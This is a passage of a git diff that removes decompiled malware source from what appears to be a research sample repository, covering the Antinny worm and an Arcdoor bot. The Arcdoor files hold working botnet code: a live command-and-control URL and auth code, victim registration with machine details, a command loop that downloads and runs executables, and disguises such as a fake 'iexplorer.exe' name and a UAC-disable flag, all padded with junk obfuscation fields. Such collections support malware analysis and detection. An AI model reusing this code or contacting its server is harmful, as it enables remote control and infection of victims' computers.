ZipEntry zipEntry = new ZipEntry(Path.GetFileName(Path));
zipEntry.setMethod(8);
zipEntry.setSize((long) num);
zipEntry.setCrc(crC32.getValue());
outStream.putNextEntry(zipEntry);
bufferedInputStream.close();
outStream.closeEntry();
((FilterOutputStream) outStream).flush();
}
}
}

171
MSIL/Worm/MSIL/A/Worm.MSIL.Antinny.a-a31d15c2216467ce504cc220ba5aef384e797034a2924cb371ef43f0e87fd34c/Form1.resx
View File

File diff suppressed because one or more lines are too long

58
MSIL/Worm/MSIL/A/Worm.MSIL.Antinny.a-a31d15c2216467ce504cc220ba5aef384e797034a2924cb371ef43f0e87fd34c/GetHostNameSample.cs
View File

@ -1,58 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: WindowsApplication2.GetHostNameSample
// Assembly: WindowsApplication2, Version=1.0.1942.42864, Culture=neutral, PublicKeyToken=null
// MVID: 1F798A8A-ADED-4AFE-8C88-012ACD701081
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Worm.MSIL.Antinny.a-a31d15c2216467ce504cc220ba5aef384e797034a2924cb371ef43f0e87fd34c.exe
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.Diagnostics;
using System.Windows.Forms;
namespace WindowsApplication2
{
[StandardModule]
internal sealed class GetHostNameSample
{
public static string dnsname;
public static string username;
public static string cline;
public static string wpash;
public static long tcnt;
public static long fnmmax;
public static string[] fnm = new string[100000];
public static long drv;
[STAThread]
public static void Main(string[] CmdArgs)
{
GetHostNameSample.dnsname = SystemInformation.UserName;
GetHostNameSample.drv = 99L;
GetHostNameSample.tcnt = 0L;
string[] strArray = CmdArgs;
int index = 0;
while (index < strArray.Length)
{
GetHostNameSample.cline = strArray[index];
checked { ++index; }
}
int num = (int) new Form1().ShowDialog();
}
private static bool ExistsPrevInstance()
{
bool flag;
try
{
flag = Process.GetProcessesByName(Process.GetCurrentProcess().ProcessName).Length > 1;
}
catch (InvalidOperationException ex)
{
ProjectData.SetProjectError((Exception) ex);
flag = false;
ProjectData.ClearProjectError();
}
return flag;
}
}
}

49
MSIL/Worm/MSIL/A/Worm.MSIL.Antinny.a-a31d15c2216467ce504cc220ba5aef384e797034a2924cb371ef43f0e87fd34c/Worm.MSIL.Antinny.a.csproj
View File

@ -1,49 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Worm.MSIL.Antinny.a-a31d15c2216467ce504cc220ba5aef384e797034a2924cb371ef43f0e87fd34c.exe-->
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{B69F7169-B781-4DF4-B98F-42E510F24DEB}</ProjectGuid>
<OutputType>WinExe</OutputType>
<AssemblyName>WindowsApplication2</AssemblyName>
<ApplicationVersion>1.0.1942.42864</ApplicationVersion>
<RootNamespace>WindowsApplication2</RootNamespace>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<ItemGroup>
<Reference Include="Microsoft.VisualBasic" />
<Reference Include="System" />
<Reference Include="System.Data" />
<Reference Include="System.Drawing" />
<Reference Include="System.Windows.Forms" />
<Reference Include="System.Xml" />
</ItemGroup>
<ItemGroup>
<Compile Include="Form1.cs" />
<Compile Include="GetHostNameSample.cs" />
<Compile Include="AssemblyInfo.cs" />
</ItemGroup>
<ItemGroup>
<EmbeddedResource Include="Form1.resx" />
</ItemGroup>
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
</Project>

20
MSIL/Worm/MSIL/A/Worm.MSIL.Antinny.a-a31d15c2216467ce504cc220ba5aef384e797034a2924cb371ef43f0e87fd34c/Worm.MSIL.Antinny.a.sln
View File

@ -1,20 +0,0 @@
Microsoft Visual Studio Solution File, Format Version 9.00
# Visual Studio 2005
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "WindowsApplication2", "Worm.MSIL.Antinny.a-a31d15c2216467ce504cc220ba5aef384e797034a2924cb371ef43f0e87fd34c.csproj", "{B69F7169-B781-4DF4-B98F-42E510F24DEB}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{B69F7169-B781-4DF4-B98F-42E510F24DEB}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{B69F7169-B781-4DF4-B98F-42E510F24DEB}.Debug|Any CPU.Build.0 = Debug|Any CPU
{B69F7169-B781-4DF4-B98F-42E510F24DEB}.Release|Any CPU.ActiveCfg = Release|Any CPU
{B69F7169-B781-4DF4-B98F-42E510F24DEB}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal

5
MSIL/Worm/MSIL/A/Worm.MSIL.Arcdoor.bnb-2ba0542fbb07307543e432f53a360961fd7e6507d83c004424a2e44ed30b4dbc/AssemblyInfo.cs
View File

@ -1,5 +0,0 @@
using System.Reflection;
using System.Security.Permissions;
[assembly: AssemblyVersion("0.0.0.0")]
[assembly: SecurityPermission(SecurityAction.RequestMinimum, SkipVerification = true)]

46
MSIL/Worm/MSIL/A/Worm.MSIL.Arcdoor.bnb-2ba0542fbb07307543e432f53a360961fd7e6507d83c004424a2e44ed30b4dbc/Worm.MSIL.Arcdoor.bnb.csproj
View File

@ -1,46 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Worm.MSIL.Arcdoor.bnb-2ba0542fbb07307543e432f53a360961fd7e6507d83c004424a2e44ed30b4dbc.exe-->
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{151E5D8A-3FA9-40AA-8724-E81223607882}</ProjectGuid>
<OutputType>WinExe</OutputType>
<AssemblyName>N0ise</AssemblyName>
<ApplicationVersion>0.0.0.0</ApplicationVersion>
<RootNamespace>Stub</RootNamespace>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<ItemGroup>
<Reference Include="System" />
<Reference Include="System.Management" />
</ItemGroup>
<ItemGroup>
<Compile Include="cSystemInfo.cs" />
<Compile Include="cConfig.cs" />
<Compile Include="cSystem.cs" />
<Compile Include="cFunctions.cs" />
<Compile Include="cMain.cs" />
<Compile Include="cControl.cs" />
<Compile Include="AssemblyInfo.cs" />
</ItemGroup>
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
</Project>

20
MSIL/Worm/MSIL/A/Worm.MSIL.Arcdoor.bnb-2ba0542fbb07307543e432f53a360961fd7e6507d83c004424a2e44ed30b4dbc/Worm.MSIL.Arcdoor.bnb.sln
View File

@ -1,20 +0,0 @@
Microsoft Visual Studio Solution File, Format Version 9.00
# Visual Studio 2005
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "N0ise", "Worm.MSIL.Arcdoor.bnb-2ba0542fbb07307543e432f53a360961fd7e6507d83c004424a2e44ed30b4dbc.csproj", "{151E5D8A-3FA9-40AA-8724-E81223607882}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{151E5D8A-3FA9-40AA-8724-E81223607882}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{151E5D8A-3FA9-40AA-8724-E81223607882}.Debug|Any CPU.Build.0 = Debug|Any CPU
{151E5D8A-3FA9-40AA-8724-E81223607882}.Release|Any CPU.ActiveCfg = Release|Any CPU
{151E5D8A-3FA9-40AA-8724-E81223607882}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal

76
MSIL/Worm/MSIL/A/Worm.MSIL.Arcdoor.bnb-2ba0542fbb07307543e432f53a360961fd7e6507d83c004424a2e44ed30b4dbc/cConfig.cs
View File

@ -1,76 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: Stub.cConfig
// Assembly: N0ise, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 21609AF2-EC6A-4FAA-88B3-5930EE31DBBA
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Worm.MSIL.Arcdoor.bnb-2ba0542fbb07307543e432f53a360961fd7e6507d83c004424a2e44ed30b4dbc.exe
using System;
namespace Stub
{
internal class cConfig
{
public bool fsdgsdfssdfgsdfgsdfgsdfgdfgsdfdfs = true;
public bool fsdgsaasdfgsdfgsdfgdfgsdfdfsdfgsdfdfs = true;
public bool fsdgsdfasdgfsdgsdfgsdfsasdfsdfgsdfdfs = true;
public bool fsdgsdassdfgsdfgsdfgsdfdffsdfgsdfdfs = true;
public bool fsdgsdasgcvzxdfbjhdffdfsdfgsdfdfs = true;
public bool fsdghdgsdfsdsdfgertewterfgsdfdfs = true;
public bool fsdgdgjsdfswerfgsgsdfdfgsdfdfs = true;
public bool fsdgsdfsddgstywertertfdfgsdfdfs = true;
public bool sdfgsdfgsdfgsdghgdfgsdgfgsdfhsdf = true;
public bool fsdgsdsdffsdsdfgghfgsdfdfs = true;
public bool fsdgsdfsdfsdghjffgsdfdfs = true;
public bool fsdgsdfgfhsdsdfgsdfgrtyfgsdfdfs = true;
public bool fsdgsdfsssfsfhgsdfgdqwefgsdfdfs = true;
public bool fsdgsdfsdfgsghfgdghsdfgsasdfdfdfs = true;
public bool fsdgsdfsdfgfhyjytjsdfgdfsdfsdfdfs = true;
public bool fsdgsdffgsshfghdfghfgdfhgfhddfgsdfdfs = true;
public bool fsdgsdfssdfgsdfgsdfgsdfgdfg34554sdfdfs = true;
public bool fsdgsaasdfgsdfgsd3453fgdfgsdfdfsdfgsdfdfs = true;
public bool fsdgsdfasdgfsdgs34634dfgsdfsasdfsdfgsdfdfs = true;
public bool fsdgsdassdfgsdf6345gsdfgsdfdffsdfgsdfdfs = true;
public bool fsdgsdasgcvzxd345345fbjhdffdfsdfgsdfdfs = true;
public bool fsdghdgsdfsds656dfgertewterfgsdfdfs = true;
public bool fsdgdgjsdfswe57566rfgsgsdfdfgsdfdfs = true;
public bool fsdgsdfsddgs4556345tywertertfdfgsdfdfs = true;
public bool sdfgsdfgsdfg3453466sdghgdfgsdgfgsdfhsdf = true;
public bool fsdgsdsdff556sdsdfgghfgsdfdfs = true;
public bool fsdgsdfsdf3463465sdghjffgsdfdfs = true;
public bool fsdgsdfgf3547hsdsdfgsdfgrtyfgsdfdfs = true;
public bool fsdgsdfsss6778978fsfhgsdfgdqwefgsdfdfs = true;
public bool fsdgsdf5475464sdfgsghfgdghsdfgsasdfdfdfs = true;
public bool fsdgsdf769787890dfgfhyjytjsdfgdfsdfsdfdfs = true;
public bool fsdgsdffgsshfghdfgh89899fgdfhgfhddfsdfdfs = true;
public string[] sFileName = new string[1]
{
"iexplorer.exe"
};
public string[] sRegName = new string[1]
{
"Internet Explorer"
};
public string sCServerAddress = "http://ellefsworld.com/log/Webpanel/gate.php";
public string sBotVersion = "3.0";
public string sMutex = "uTorrent.1.7.2.2";
public string sAuthCode = "marathonlotte";
public int iConnectionInterval = 30;
public bool bDisableUAC = true;
public string sHWID = string.Empty;
public string sPCName = Environment.MachineName;
public string sWinVersion = string.Empty;
public string[] sFilePath = new string[1];
public cConfig() => this.sFilePath[0] = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\" + this.sFileName[0];
private void sdfgssdfgsdfgsdfdgsdfgasdfsdfgsdfgsdfdf() => this.fsdgsdasgcvzxdfbjhdffdfsdfgsdfdfs = false;
private void sdfgssdfgsdfgdgsdfgsdfsadfgsdfgsdfdf() => this.fsdgsdfgfhsdsdfgsdfgrtyfgsdfdfs = false;
private void sdfgsdgsdgsdfwergdfsdfgsdfgsdfgsdfdf() => this.fsdgdgjsdfswe57566rfgsgsdfdfgsdfdfs = false;
private void sdfgsd34dfgssdfgsdfdfgsdfgsdfgsdfdf() => this.fsdgsdfasdgfsdgsdfgsdfsasdfsdfgsdfdfs = false;
private void sdfgsdgsdfgsdfgsdfgsdfdf() => this.fsdgsdassdfgsdf6345gsdfgsdfdffsdfgsdfdfs = false;
}
}

206
MSIL/Worm/MSIL/A/Worm.MSIL.Arcdoor.bnb-2ba0542fbb07307543e432f53a360961fd7e6507d83c004424a2e44ed30b4dbc/cControl.cs
View File

@ -1,206 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: Stub.cControl
// Assembly: N0ise, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 21609AF2-EC6A-4FAA-88B3-5930EE31DBBA
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Worm.MSIL.Arcdoor.bnb-2ba0542fbb07307543e432f53a360961fd7e6507d83c004424a2e44ed30b4dbc.exe
using System;
using System.Diagnostics;
using System.IO;
using System.Net;
using System.Text;
using System.Threading;
namespace Stub
{
internal class cControl
{
public bool fsdgsdfsdasdffgssdfgdfdfs = true;
public bool fsdgsasdasdfdfsdfsdfgsdfdfs = true;
public bool fsdgsdfaasdf43asdfsasdfsdfgsdfdfs = true;
public bool fsdgsdasasdfwerdffsdfgsdfdfs = true;
public bool fsdgasdfsdasf43dfsdfgsdfdfs = true;
public bool fsdgasdfhdgs342dfsdfgsdfdfs = true;
public bool fsdgasdfdgjs234dfsdfgsdfdfs = true;
public bool fsdgasdfsdf23sddfdfgsdfdfs = true;
public bool fsdgasdf2345sdfssdfdfgsdfdfs = true;
public bool fsdasdfsd6sdffsdfgsdfdfs = true;
public bool fsdaasdgsdf34sdfsdfgsdfdfs = true;
public bool fsdgasdfsdf34fhsdfgsdfdfs = true;
public bool fsdgasdfs346dfsssfgdfgsdfdfs = true;
public bool fsdgasdfsd354fsdfgsdfgsdfdfs = true;
public bool fsdgasdfsd56fsdfgsdfgsdfdfs = true;
public bool fsdgasdfsd567ffgsdfgsdfdfs = true;
public int sdfggsdfgs4sdfdf = 1;
public int sdfggsdfsd4fgssdfdf = 1;
public int sdfggsdsdf4fgssdfdf = 1;
public int sdfggasdsd4fgssdfdf = 1;
public int sdfggshdfg4ssdfdf = 1;
public int sdfggsdfgs4dfasdssdfdf = 1;
public int sdfgasdasd4ggsdfgssdfdf = 1;
public int sdfggsdfhd4fsdfgssdfdf = 1;
public int sdfggsasds4gjfdfgssdfdf = 1;
public int sdfggghlsd4fgssdfdf = 1;
public int sdfggsghdf4gssdfdf = 1;
public int sdfgfjfgsd4fgssdfdf = 1;
public int sdfgdghjgs4dfgssdfdf = 1;
public int sdfggbzxcv4bsdfgssdfdf = 1;
public int sdfggxcvgs4dfdfsdfgsdfgssdfdf = 1;
public int sdfggjdfjd4fgsdgsdfgssdfdf = 1;
public int sdfgxcvbxv4gsdfgssdfdf = 1;
public int sdfggsxcvb4nxgsgjdfgssdfdf = 1;
public int sdfzxcfgas4dghggsdfgssdfdf = 1;
public int sdfgassdgv4sdghsgsdfgssdfdf = 1;
public int sdfggsfgjh4dfgsdfgssdfdf = 1;
public int sdfggsdadf4sdfbcfgssdfdf = 1;
public int sdfdfshshd4fggsdfgssdfdf = 1;
public int sdfggsfhsg4dfdfgssdfdf = 1;
public int fhsfhdfdsf4hsdfhsdfsdfsdfhdfh = 1;
public int sdfggssdhh4dfgssdfdf = 1;
public int sdfggsdfgs4sdsdfgdfgsdfdf = 1;
public int sdfggsdfdf4hfdghdfsgssdfdf = 1;
public int sdfggasdff4gasdgsdfgssdfdf = 1;
public int sdfggsddfj4dfjghfxgssdfdf = 1;
public bool fsdgsdfsd4fgssdfgdfdfs = true;
public bool fsdgsasdf4dfsdfsdfgsdfdfs = true;
public bool fsdgsdfa443asdfsasdfsdfgsdfdfs = true;
public bool fsdgsdasw4erdffsdfgsdfdfs = true;
public bool fsdgsdasf443dfsdfgsdfdfs = true;
public bool fsdghdgs3442dfsdfgsdfdfs = true;
public bool fsdgdgjs2434dfsdfgsdfdfs = true;
public bool fsdgsdf23s4ddfdfgsdfdfs = true;
public bool fsdg2345sd4fssdfdfgsdfdfs = true;
public bool fsdgsd6sdff4sdfgsdfdfs = true;
public bool fsdgsdf34sdf4sdfgsdfdfs = true;
public bool fsdgsdf34fhsd4fgsdfdfs = true;
public bool fsdgs346dfsssf4gdfgsdfdfs = true;
public bool fsdgsd354fsdfgs4dfgsdfdfs = true;
public bool fsdgsd56fsdfgsdf4gsdfdfs = true;
public bool fsdgsd567ffgsdfgs4dfdfs = true;
private string sOldCommand = string.Empty;
private void sdfgssdfgsdfgsdfdgsdfgassdfgsdfgdfsdfgsdfgsdfdf() => this.sdfggghlsd4fgssdfdf = 10;
private void sdfgssdfgsdfgdgssdfgasdfdfgsdfsadfgsdfgsdfdf() => this.sdfgxcvbxv4gsdfgssdfdf = 30;
private void sdfgsdgsdgsdfwfhdxcergdfsdfgsdfgsdfgsdfdf() => this.sdfggsdfsd4fgssdfdf = 345;
private void sdfgsd34dfgsszxcsdsaASdfgsdfdfgsdfgsdfgsdfdf() => this.sdfggsdfsd4fgssdfdf = 122;
private void sdfgsdgsdfgsadAdfgsdfgsdfdf() => this.fhsfhdfdsf4hsdfhsdfsdfsdfhdfh = 34534;
public void ConnectControl()
{
this.registerCCServer();
new Thread(new ThreadStart(this.getCCServerCommand)).Start();
}
private void sdfgsd34dZSDFSADfgsszxcsdsaASdfgsdfdfgsdfgsdfgsdfdf() => this.sdfggghlsd4fgssdfdf = 122;
private void sdfgsdgsdfFSDZgsadAdfgsdfgsdfdf() => this.sdfggshdfg4ssdfdf = 34534;
private void registerCCServer()
{
string Parameters = "mode=0&hwid=" + cMain.ConfigClass.sHWID + "&botver=" + cMain.ConfigClass.sBotVersion + "&pcname=" + cMain.ConfigClass.sPCName + "&winver=" + cMain.ConfigClass.sWinVersion;
while (true)
{
try
{
string str = this.HTTPRequest(cMain.ConfigClass.sCServerAddress, Parameters);
if (str.Length > 0)
{
if (str == cMain.ConfigClass.sAuthCode)
break;
Environment.Exit(-1);
}
}
catch
{
}
Thread.Sleep(cMain.ConfigClass.iConnectionInterval * 60 * 1000);
}
}
private void getCCServerCommand()
{
string Parameters = "mode=1&hwid=" + cMain.ConfigClass.sHWID;
while (true)
{
try
{
string sCommand = this.HTTPRequest(cMain.ConfigClass.sCServerAddress, Parameters);
if (sCommand.Length > 0)
{
if (sCommand != this.sOldCommand)
{
this.handleCommand(sCommand);
this.sOldCommand = sCommand;
}
}
else
this.sOldCommand = string.Empty;
}
catch
{
}
Thread.Sleep(cMain.ConfigClass.iConnectionInterval * 60 * 1000);
}
}
private string HTTPRequest(string URI, string Parameters)
{
ServicePointManager.Expect100Continue = false;
HttpWebRequest httpWebRequest = (HttpWebRequest) WebRequest.Create(URI);
httpWebRequest.ContentType = "application/x-www-form-urlencoded";
httpWebRequest.Method = "POST";
httpWebRequest.UserAgent = cMain.ConfigClass.sAuthCode;
byte[] bytes = Encoding.ASCII.GetBytes(Parameters);
httpWebRequest.ContentLength = (long) bytes.Length;
Stream requestStream = httpWebRequest.GetRequestStream();
requestStream.Write(bytes, 0, bytes.Length);
requestStream.Close();
WebResponse response = httpWebRequest.GetResponse();
return response == null ? string.Empty : new StreamReader(response.GetResponseStream()).ReadToEnd().Trim();
}
private void handleCommand(string sCommand)
{
string[] strArray = new string[0];
try
{
strArray = sCommand.Split('*');
}
catch
{
}
switch (strArray[0])
{
case "download":
try
{
string str = cMain.FunctionClass.genString(new Random().Next(5, 12)) + ".exe";
new WebClient().DownloadFile(Convert.ToString(strArray[1]), Environment.GetEnvironmentVariable("TEMP") + "\\" + str);
new Process()
{
StartInfo = {
FileName = (Environment.GetEnvironmentVariable("TEMP") + "\\" + str)
}
}.Start();
break;
}
catch
{
break;
}
case "update":
cMain.SystemClass.updateBot(Convert.ToString(strArray[1]));
break;
case "remove":
if (!(strArray[1] == Environment.MachineName) && !(strArray[1].ToUpper() == "ALL"))
break;
cMain.SystemClass.RemoveBot();
break;
}
}
}
}

89
MSIL/Worm/MSIL/A/Worm.MSIL.Arcdoor.bnb-2ba0542fbb07307543e432f53a360961fd7e6507d83c004424a2e44ed30b4dbc/cFunctions.cs
View File

@ -1,89 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: Stub.cFunctions
// Assembly: N0ise, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 21609AF2-EC6A-4FAA-88B3-5930EE31DBBA
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Worm.MSIL.Arcdoor.bnb-2ba0542fbb07307543e432f53a360961fd7e6507d83c004424a2e44ed30b4dbc.exe
using System;
using System.Diagnostics;
using System.IO;
using System.Security.Cryptography;
using System.Text;
namespace Stub
{
internal class cFunctions
{
public bool fsdgsdfssdgsdfgsdfgdfgsdfdfs = true;
public bool fsdgsaasdgdfgsdfdfsdfgsdfdfs = true;
public bool fsdgsdfasdgfsdgsdfgsasdfsdfgsdfdfs = true;
public bool fsdgsdassdfgsdfgsdfgsffsdfgsdfdfs = true;
public bool fsdgsdvzxdfbjhdffdfsdfgsdfdfs = true;
public bool fsdghdgsdfgertewterfgsdfdfs = true;
public bool fsdgdgjsdfswersdfdfgsdfdfs = true;
public bool fsdgsdfsddgstywertfdfgsdfdfs = true;
public bool sdfgsdfgsdfgsdgsdgfgsdfhsdf = true;
public bool fsdgsdsdffssdfgghfgsdfdfs = true;
public bool fsdgsdsdfgsdfgrtyfgsdfdfs = true;
public bool fsdgsdfsssfsfgdqwefgsdfdfs = true;
public bool fsdgsdfsdfgsghfgdgfgsasdfdfdfs = true;
public bool fsdgsdfsdfgfhyjytjsdfdfsdfdfs = true;
public bool fsdgsdffghdfghfgdfhfhddfgsdfdfs = true;
public bool fsdgsdfgsdfgsdfgsdfgdfg34554sdfdfs = true;
public bool fsdgsfgsd3453fgdfggsdfdfsdfgsdfdfs = true;
public bool fsdgsdfasdfsdgs3fgsdfsasdfsdfgsdfdfs = true;
public bool fsdgsdassdfgs5gsdfgsdfdffsdfgsdfdfs = true;
public bool fsdgsdasgxd345345fbjhdffdfsdfgsdfdfs = true;
public bool fsdghdgsdfsrtewterfgsdfdfs = true;
public bool fsdgdgjsdfswe57566rdfdfgsdfdfs = true;
public bool fsdgsdfsddgs4556345tsdgfgsdfhsdf = true;
public bool fsdgsdsd463465sdghjffgsdfdfs = true;
public bool fsdgsdfgf3hsdsdfgsdfgrtyfgsdfdfs = true;
public bool fsdgsdfsss6778fhgsdfgdqwefgsdfdfs = true;
public bool fsdgsdf5475464sdfgsgdghsdfgsasdfdfdfs = true;
public bool fsdgsdf769787890dfgfhsdfgdfsdfsdfdfs = true;
public bool fsdgsdffgsshfghdfgh89899fggfhddfsdfdfs = true;
private void sdfgssdsdfgfgsdfgdgsdgsdfsadfgsdfgsdfdf() => this.fsdgsdf769787890dfgfhsdfgdfsdfsdfdfs = false;
private void sdfgsdgsjhkkjdgsdfwergdfdfgsdfgsdfgsdfdf() => this.fsdgdgjsdfswe57566rdfdfgsdfdfs = false;
public bool checkProcess(string sProcessName) => Process.GetProcessesByName(sProcessName).Length > 0;
private void sdfgsd34dfgsssdfdfsdfdfgsdfgsdfsdfdf() => this.fsdgsdassdfgs5gsdfgsdfdffsdfgsdfdfs = false;
private void sdfgsdgsdfhgfsdfgsdfgsdfgsdfdf() => this.fsdgsdfasdfsdgs3fgsdfsasdfsdfgsdfdfs = false;
private string FileMD5(string sFileName)
{
FileStream inputStream = File.OpenRead(sFileName);
byte[] hash = new MD5CryptoServiceProvider().ComputeHash((Stream) inputStream);
inputStream.Close();
return BitConverter.ToString(hash).Replace("-", "").ToUpper();
}
public string getMD5Hash(string sString) => BitConverter.ToString(new MD5CryptoServiceProvider().ComputeHash(Encoding.Default.GetBytes(sString))).Replace("-", "").ToLower().ToUpper();
private void sdfgssdfsdfgsdfgsdfdgsdfgasdfsdfgsdfgsdfdf() => this.fsdgsdffgsshfghdfgh89899fggfhddfsdfdfs = false;
public string genString(int iLen)
{
Random random = new Random();
string str = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
string empty = string.Empty;
for (int index = 0; index < iLen; ++index)
empty += str.Substring(random.Next(0, str.Length), 1);
return empty;
}
public bool checkFile(string FilePath)
{
if (!File.Exists(FilePath))
return false;
if (!(this.FileMD5(FilePath) != this.FileMD5(Process.GetCurrentProcess().MainModule.FileName)))
return true;
File.Delete(FilePath);
return false;
}
}
}

84
MSIL/Worm/MSIL/A/Worm.MSIL.Arcdoor.bnb-2ba0542fbb07307543e432f53a360961fd7e6507d83c004424a2e44ed30b4dbc/cMain.cs
View File

@ -1,84 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: Stub.cMain
// Assembly: N0ise, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 21609AF2-EC6A-4FAA-88B3-5930EE31DBBA
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Worm.MSIL.Arcdoor.bnb-2ba0542fbb07307543e432f53a360961fd7e6507d83c004424a2e44ed30b4dbc.exe
using System.Threading;
namespace Stub
{
internal class cMain
{
public int sdfggsdfgssdfdf = 1;
public int sdfggsdfsdfgssdfdf = 1;
public int sdfggsdsdffgssdfdf = 1;
public int sdfggasdsdfgssdfdf = 1;
public int sdfggshdfgssdfdf = 1;
public int sdfggsdfgsdfasdssdfdf = 1;
public int sdfgasdasdggsdfgssdfdf = 1;
public int sdfggsdfhdfsdfgssdfdf = 1;
public int sdfggsasdsgjfdfgssdfdf = 1;
public int sdfggghlsdfgssdfdf = 1;
public int sdfggsghdfgssdfdf = 1;
public int sdfgfjfgsdfgssdfdf = 1;
public int sdfgdghjgsdfgssdfdf = 1;
public int sdfggbzxcvbsdfgssdfdf = 1;
public int sdfggxcvgsdfdfsdfgsdfgssdfdf = 1;
public int sdfggjdfjdfgsdgsdfgssdfdf = 1;
public int sdfgxcvbxvgsdfgssdfdf = 1;
public int sdfggsxcvbnxgsgjdfgssdfdf = 1;
public int sdfzxcfgasdghggsdfgssdfdf = 1;
public int sdfgassdgvsdghsgsdfgssdfdf = 1;
public int sdfggsfgjhdfgsdfgssdfdf = 1;
public int sdfggsdadfsdfbcfgssdfdf = 1;
public int sdfdfshshdfggsdfgssdfdf = 1;
public int sdfggsfhsgdfdfgssdfdf = 1;
public int fhsfhdfdsfhsdfhsdfsdfsdfhdfh = 1;
public int sdfggssdhhdfgssdfdf = 1;
public int sdfggsdfgssdsdfgdfgsdfdf = 1;
public int sdfggsdfdfhfdghdfsgssdfdf = 1;
public int sdfggasdffgasdgsdfgssdfdf = 1;
public int sdfggsddfjdfjghfxgssdfdf = 1;
public bool fsdgsdfsdfgssdfgdfdfs = true;
public bool fsdgsasdfdfsdfsdfgsdfdfs = true;
public bool fsdgsdfa43asdfsasdfsdfgsdfdfs = true;
public bool fsdgsdaswerdffsdfgsdfdfs = true;
public bool fsdgsdasf43dfsdfgsdfdfs = true;
public bool fsdghdgs342dfsdfgsdfdfs = true;
public bool fsdgdgjs234dfsdfgsdfdfs = true;
public bool fsdgsdf23sddfdfgsdfdfs = true;
public bool fsdg2345sdfssdfdfgsdfdfs = true;
public bool fsdgsd6sdffsdfgsdfdfs = true;
public bool fsdgsdf34sdfsdfgsdfdfs = true;
public bool fsdgsdf34fhsdfgsdfdfs = true;
public bool fsdgs346dfsssfgdfgsdfdfs = true;
public bool fsdgsd354fsdfgsdfgsdfdfs = true;
public bool fsdgsd56fsdfgsdfgsdfdfs = true;
public bool fsdgsd567ffgsdfgsdfdfs = true;
public static cConfig ConfigClass = new cConfig();
public static cFunctions FunctionClass = new cFunctions();
public static cSystemInfo SystemInfoClass = new cSystemInfo();
